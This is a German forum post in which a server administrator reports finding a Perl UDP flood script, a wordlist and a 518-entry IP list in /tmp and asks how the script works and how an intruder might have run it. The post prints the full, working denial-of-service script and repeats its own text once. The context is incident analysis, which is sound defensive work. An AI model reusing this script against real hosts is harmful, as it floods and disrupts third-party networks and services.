D
Descartes
Jungspund
Hallo!
Ich habe folgendes Skript im Verzeichnis /tmp/ gefunden mit dem Erstellungsdatum 22. Nov 06 mit chown root:root. Rechte waren chmod 777
Dazu noch eine Datei mit einer Art Wörterbuch und eine IP Liste mit 518 Einträgen.
Ich habe nun schon herausgefunden, dass es sich um ein UDP Flooding Skript handelt, da ich aber kein Perl kann, kenne ich dessen Funktionsweise nicht.
Insbesondere würde mich interessieren, welche Wege es gibt, dieses Script auszuführen.
Lokal sicher über die Perl Binary in /usr/bin/perl. Von außerhalb könnte ich mir den Fehler in einem PHP Skript vorstellen, aber bei mir ist safe_mode an, ein shell_exec wird nicht ausgeführt und zudem wird von keinem Skript auf das /tmp Verzeichnis zurückgegriffen.
Ich habe irgendwo gelesen, dass udp.pl im Speicher ausgeführt wird und diese Dateien nur eine Art "Abfall" des Skriptes sind.
Mich wundert etwa, dass ich keine Logbucheinträge finde, die einen Aufruf von außerhalb des Servers nahelegen.
Grüße
Descartes
Ich habe folgendes Skript im Verzeichnis /tmp/ gefunden mit dem Erstellungsdatum 22. Nov 06 mit chown root:root. Rechte waren chmod 777
Code:
#!/usr/bin/perl
#####################################################
# udp flood.
#
# gr33ts: meth, etech, skrilla, datawar, fr3aky, etc.
#
# --/odix
######################################################
use Socket;
$ARGC=@ARGV;
if ($ARGC !=3) {
printf "$0 <ip> <port> <time>\n";
printf "if arg1/2 =0, randports/continous packets.\n";
exit(1);
}
my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");
printf "udp flood - odix\n";
if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}
packets:
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
randpackets:
for (;;) {
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
Dazu noch eine Datei mit einer Art Wörterbuch und eine IP Liste mit 518 Einträgen.
Ich habe nun schon herausgefunden, dass es sich um ein UDP Flooding Skript handelt, da ich aber kein Perl kann, kenne ich dessen Funktionsweise nicht.
Insbesondere würde mich interessieren, welche Wege es gibt, dieses Script auszuführen.
Lokal sicher über die Perl Binary in /usr/bin/perl. Von außerhalb könnte ich mir den Fehler in einem PHP Skript vorstellen, aber bei mir ist safe_mode an, ein shell_exec wird nicht ausgeführt und zudem wird von keinem Skript auf das /tmp Verzeichnis zurückgegriffen.
Ich habe irgendwo gelesen, dass udp.pl im Speicher ausgeführt wird und diese Dateien nur eine Art "Abfall" des Skriptes sind.
Mich wundert etwa, dass ich keine Logbucheinträge finde, die einen Aufruf von außerhalb des Servers nahelegen.
Grüße
Descartes
Zuletzt bearbeitet: